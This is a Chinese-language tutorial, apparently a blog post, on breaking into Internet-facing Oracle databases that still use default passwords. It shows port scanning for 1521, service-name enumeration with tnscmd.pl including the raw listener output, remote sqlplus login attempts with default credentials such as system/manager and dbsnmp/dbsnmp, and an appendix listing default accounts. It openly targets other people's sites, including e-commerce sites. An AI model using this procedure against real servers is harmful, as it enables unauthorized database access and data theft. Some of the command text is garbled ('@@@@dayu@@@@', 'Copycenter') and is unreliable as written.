Oracle默認管理員密碼是固定的,這是為了安裝和調試的方便。Oracle數據庫中的兩個具有DBA權限的用戶Sys和System。筆者發現很多國內網站的Oracle數據庫沒有更改這兩個用戶的密碼,其中也包括很多大型的電子商務網站,我們就可以利用這個缺省密碼去找我們感興趣的東西。
進行測試前我們先來了解一些相關的知識,我們連接一個Oracle數據庫的時候,需要知道它的service_name或者是Sid值,就象mssql一樣,需要知道數據庫名。那如何去知道呢,猜?呵呵,顯然是不行的。這裡我們先講講oracle的TNSlistener,它位於數據庫ClIEnt和數據庫Server之間,默認監聽1521端口,這個監聽端口是可以更改的。但是如果你用一個tcp的session去連接1521端口的話,oracle將不會返回它的banner,如果你輸入一些東西的話,它甚至有可能把你踢出去。這裡我們就需要用tnscmd.pl這個perl程序了,它可以查詢遠程 Oracle數據庫是否開啟(也就是ping了),查詢版本,以及查詢它的服務名,服務狀態和數據庫服務名,而且正確率很高。
理論方面的講完了,如果還有什麼不懂的可以去查找相關資料。現在開始測試吧,需要的工具有:ActivePerl,Oracle客戶端,Superscan或者是其它掃描端口的軟件,Tnscmd.pl.我們先用Superscan掃描開放了端口1521的主機,假設其IP是xx.xx.110.110,這樣目標已經有了。然後我們要做的就是用Tnscmd.pl來查詢遠程數據庫的服務名了,Tnscmd.pl的用法如下:
- C:\perl\bin@@@@dayu@@@@perl tnscmd.pl
- usage: tnscmd.pl [command] -h hostname
- where "command" is something like ping, version, status,etc.
- (default is ping)
- [-p port] - alternate TCP port to use (default is 1521)
- [--logfile logfile] - write raw packets to specifIEdlogfile
- [--indent] - indent & outdent on parens
- [--rawcmd command] - build your own CONNECT_DATA string
- [--cmdsize bytes] - fake TNS command size (revealspacketleakage)
我們下面用的只有簡單的幾個命令,其他的命令也很好用,一起去發掘吧。
然後我們就這樣來:
- C:\perl\bin@@@@dayu@@@@perl tnscmd.pl services -hxx.xx.110.110-p 1521 –indent
- sending (CONNECT_DATA=(COMMAND=services))toxx.xx.110.110:1521
- writing 91 bytes
- reading
- ._.......6.........?. ..........
- DETION=
- TMP=
- VSNNUM=135286784
- ERR=0
- SERVICES_EXIST=1
- .Q........
- SERVICE=
- SERVICE_NAME=ORCL
- INSTANCE=
- INSTANCE_NAME=ORCL
- NUM=1
- INSTANCE_CLASS=Oracle
- HANDLER=
- HANDLER_DISPLAY=DEDICATED SERVER
- STA=ready
- HANDLER_INFO=LOCAL SERVER
- HANDLER_MAXLOAD=0
- HANDLER_LOAD=0
- ESTABLISHED=447278
- REFUSED=0
- HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227
- HANDLER_NAME=DEDICATED
- ADDRESS=
- PROTOCOL=beq
- PROGRAM=/home/oracle/bin/Oracle
- ENVS="ORACLE_HOME=/home/oracle,Oracle_SID=ORCL"
- ARGV0=OracleORCL
- ARGS="
- LOCAL=NO
- "
- .........@
從上面得到的信息我們可以看出數據庫的服務名為ORCL,然後我們就可以通過sqlplus工具來遠程連上它了,用戶名和密碼我們用默認的 system/manager或者是sys/manager(Oracle默認管理員),其他的如mdsys/mdsys,ctxsys/ctxsys等,這個默認用戶和密碼是隨版本的不同而改變的。如下:
- C:\Oracle\ora90\BIN@@@@dayu@@@@sqlplus /nolog
- SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 2311:36:592002
- (c) Copycenter 2001 Oracle Corporation. All centersreserved.
- SQL@@@@dayu@@@@connect system/manager@
- (detion=(address_list=(address=(protocol=tcp)
- (host=xx.xx.110.110)(port=1521)))
- (connect_data=(SERVICE_NAME=ORCL)));
如果密碼正確,那麼就會提示connected,如果不行,再換別的默認用戶名和密碼。經過筆者的嘗試一般用dbsnmp/dbsnmp都能進去。當然如果對方已經把默認密碼改了,那我們只能換別的目標了。但是我發現很多都是不改的,這個就是安全意識的問題了。
附錄 Oracle默認管理員密碼
1.
用戶名:sys
密碼:change_on_install
2.
用戶名:system
密碼:manager
3.
用戶名:scott
密碼:tiger